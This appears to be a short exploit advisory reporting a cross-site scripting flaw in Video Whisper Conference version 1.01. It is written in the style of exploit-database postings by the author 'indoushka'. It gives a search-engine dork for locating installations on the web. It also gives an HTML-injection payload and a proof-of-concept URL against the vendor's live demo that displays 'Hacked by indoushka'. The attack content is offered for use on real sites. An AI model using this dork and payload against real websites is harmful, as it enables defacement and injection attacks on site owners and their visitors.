Headline
Video Whisper Conference 1.01 Cross Site Scripting
Video Whisper Conference version 1.01 suffers from a cross site scripting vulnerability.
============================================================================| # Title : video whisper conference v1.01 XSS Vulnerability || # Author : indoushka || # Tested on : windows 10 Français V.(Pro) || # Vendor : https://www.videowhisper.com/demos/conference/ | | # Dork : "Video Conference by VideoWhisper.com" |============================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] use payload : indoushka<acx><marquee><font color=lime size=32>indoushka</font></marquee>[+] https://wwvideowhispercom/demos/conference/index.php?r=indoushka<acx><marquee><font color=lime size=32>Hacked by indoushka</font></marquee>Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================